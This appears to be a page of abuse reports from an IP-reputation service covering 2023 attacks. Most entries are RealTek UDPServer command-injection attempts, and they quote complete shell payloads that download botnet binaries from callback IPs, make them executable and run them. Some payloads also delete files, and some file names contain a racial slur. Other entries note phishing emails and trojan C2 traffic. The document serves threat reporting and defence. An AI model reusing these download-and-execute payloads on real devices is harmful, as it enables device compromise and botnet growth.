🇺🇸
166.0.255.125
18 Dec 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://166.0.255.125/AB4g5/fatniggampsl;
chmod +x fatniggampsl;
./fatniggampsl rt.mpsl;
/bin/busybox wget http://166.0.255.125/AB4g5/fatniggamips;
chmod +x fatniggamips;
./fatniggamips rt.mips;
source: 62.72.164.17
callback: 166.0.255.125
show less
Hacking
Web App Attack
🇺🇸
62.72.164.17
18 Dec 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://166.0.255.125/AB4g5/fatniggampsl;
chmod +x fatniggampsl;
./fatniggampsl rt.mpsl;
/bin/busybox wget http://166.0.255.125/AB4g5/fatniggamips;
chmod +x fatniggamips;
./fatniggamips rt.mips;
source: 62.72.164.17
callback: 166.0.255.125
show less
Hacking
Web App Attack
🇳🇱
193.42.33.79
18 Dec 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://pv-privals.com/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl;
chmod +x db0fa4b8db0333367e9bda3ab68b8042.mpsl;
./db0fa4b8db0333367e9bda3ab68b8042.mpsl rt.mpslx
show less
Hacking
Web App Attack
🇻🇳
103.77.240.57
15 Dec 2023
Callback IP address in RealTek injection.
/bin/busybox wget http://103.77.240.57/bot.mpsl;
Hacking
Web App Attack
🇻🇳
116.103.228.251
15 Dec 2023
Source IP in RealTek UDPServer command injection attempt
Hacking
Web App Attack
🇻🇳
103.77.240.208
20 Oct 2023
Callback IP Address
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl; ...
show more
Callback IP Address
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.77.240.208/bot.mpsl;
chmod +x bot.mpsl;
./bot.mpsl realtek;
show less
Hacking
Web App Attack
🇨🇱
38.7.201.48
20 Oct 2023
source of udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/bus ...
show more
source of udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.77.240.208/bot.mpsl;
chmod +x bot.mpsl;
./bot.mpsl realtek;
show less
Hacking
Web App Attack
🇺🇸
50.116.12.240
19 Oct 2023
TCP/80 MALWARE-CNC Win.Trojan.Remcos variant
Hacking
Web App Attack
🇺🇸
168.245.70.208
06 Oct 2023
Subject: Your email box is almost full.
Phishing
🇺🇸
168.245.44.51
06 Oct 2023
Subject: Your mailbox is almost full.
Phishing
🇺🇸
168.245.106.180
06 Oct 2023
Subject: Your mailbox is almost full.
from o3.mailsrv.usssa.net ([168.245.106.180])
DKIM-Signa ...
show more
Subject: Your mailbox is almost full.
from o3.mailsrv.usssa.net ([168.245.106.180])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=usssa.com;
Received: by filterdrecv-7c66478b98-ghnmx with SMTP id filterdrecv-7c66478b98-ghnmx-1-652011E6-B9
2023-10-06 13:55:50.947980563 +0000 UTC m=+59635.037004265
Received: from [127.0.0.1] (unknown)
by geopod-ismtpd-7 (SG) with ESMTP
id b_zyh3dFRkG31HGfy8jzdg
show less
Phishing
🇨🇦
167.99.182.93
05 Oct 2023
tcp/80 CNC Win.Trojan.AveMaria variant
Hacking
Web App Attack
🇻🇳
103.237.86.187
05 Oct 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.237.86.187/bot.mpsl;
chmod +x bot.mpsl;
./bot.mpsl realtek;
show less
Hacking
Web App Attack
🇦🇹
188.172.214.60
18 Sep 2023
64502 / tcp OpenSSL SSLv3 large heartbeat response - ssl heartbleed attempt
Hacking
Web App Attack
🇲🇩
37.221.65.77
11 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 91.229.239.121
Callback IP: 37.221.65. ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 91.229.239.121
Callback IP: 37.221.65.77
orf;
cd /tmp || cd /run || cd /;
wget http://37.221.65.77/OOFbins.sh;
chmod 777 OOFbins.sh;
sh OOFbins.sh;
tftp 37.221.65.77 -c get OOFtftp1.sh;
chmod 777 OOFtftp1.sh;
sh OOFtftp1.sh;
tftp -r OOFtftp2.sh -g 37.221.65.77;
chmod 777 OOFtftp2.sh;
sh OOFtftp2.sh;
rm -rf OOFbins.sh OOFtftp1.sh OOFtftp2.sh;
rm -rf *;
show less
Hacking
Web App Attack
🇲🇩
91.229.239.121
11 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 91.229.239.121
Callback IP: 37.221.65. ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 91.229.239.121
Callback IP: 37.221.65.77
orf;
cd /tmp || cd /run || cd /;
wget http://37.221.65.77/OOFbins.sh;
chmod 777 OOFbins.sh;
sh OOFbins.sh;
tftp 37.221.65.77 -c get OOFtftp1.sh;
chmod 777 OOFtftp1.sh;
sh OOFtftp1.sh;
tftp -r OOFtftp2.sh -g 37.221.65.77;
chmod 777 OOFtftp2.sh;
sh OOFtftp2.sh;
rm -rf OOFbins.sh OOFtftp1.sh OOFtftp2.sh;
rm -rf *;
show less
Hacking
Web App Attack
🇺🇸
205.185.122.19
11 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp || cd /var/run || cd /mnt || cd /roo ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://205.185.122.19/xi.sh;
curl -O http://205.185.122.19/xi.sh;
chmod 777 xi.sh;
sh xi.sh
show less
Hacking
Web App Attack
🇺🇸
209.141.32.16
11 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp || cd /var/run || cd /mnt || cd /roo ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://205.185.122.19/xi.sh;
curl -O http://205.185.122.19/xi.sh;
chmod 777 xi.sh;
sh xi.sh
show less
Hacking
Web App Attack
🇳🇱
46.21.146.58
11 Sep 2023
tcp/80 User-Agent known malicious user-agent string - Mirai
Hacking
Web App Attack
🇫🇷
195.154.114.3
05 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.212.81.116/cundi.mpsl;
chmod +x cundi.mpsl;
./cundi.mpsl realtek;
cd /tmp;
rm -rf mips;
/bin/busybox wget http://103.212.81.116/cundi.mips;
chmod +x cundi.mips;
./cundi.mips realtek;
cd /tmp;
rm -rf cundi.arm4;
/bin/busybox wget http://103.212.81.116/cundi.arm4;
chmod +x cundi.arm4;
./cundi.arm4 realtek;
rm -rf cundi.arm5;
/bin/busybox wget http://103.212.81.116/cundi.arm5;
chmod +x cundi.arm5;
./cundi.arm5 realtek;
rm -rf cundi.arm6;
/bin/busybox wget http://103.212.81.116/cundi.arm6;
chmod +x cundi.arm6;
./cundi.arm6 realtek;
rm -rf cundi.arm7;
/bin/busybox wget http://103.212.81.116/cundi.arm7;
chmod +x cundi.arm7;
./cundi.arm7 realtek;
Source: 195.154.114.3
Callback: 103.212.81.116
show less
Hacking
Web App Attack
🇻🇳
103.118.30.99
05 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.118.30.99/concakhbtandhuy.mpsl;
chmod 777 concakhbtandhuy.mpsl;
./concakhbtandhuy.mpsl hoang;
source: 68.69.185.174
destination: 103.118.30.99
show less
Hacking
Web App Attack
🇺🇸
68.69.185.174
05 Sep 2023
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wge ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.118.30.99/concakhbtandhuy.mpsl;
chmod 777 concakhbtandhuy.mpsl;
./concakhbtandhuy.mpsl hoang;
source: 68.69.185.174
destination: 103.118.30.99
show less
Hacking
Web App Attack
🇭🇺
213.181.206.96
04 Sep 2023
RealTek UDPServer command injection attempt
orf;
cd /tmp; rm -rf mpsl;
/bin/busybox wget http: ...
show more
RealTek UDPServer command injection attempt
orf;
cd /tmp; rm -rf mpsl;
/bin/busybox wget http://213.181.206.96/mipsel;
chmod +x mipsel;
./mipsel rt.mpsl;
Source and Callback IP: 213.181.206.91
show less
Hacking
Web App Attack
🇺🇸
164.92.91.65
04 Sep 2023
RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget htt ...
show more
RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.118.30.99/concakhbtandhuy.mpsl;
chmod 777 concakhbtandhuy.mpsl;
./concakhbtandhuy.mpsl hi;
Source: 164.92.91.65
Callback: 103.118.30.99
show less
Hacking
Web App Attack
🇻🇳
103.118.30.99
04 Sep 2023
RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget htt ...
show more
RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.118.30.99/concakhbtandhuy.mpsl;
chmod 777 concakhbtandhuy.mpsl;
./concakhbtandhuy.mpsl hi;
Source: 164.92.91.65
Callback: 103.118.30.99
show less
Hacking
Web App Attack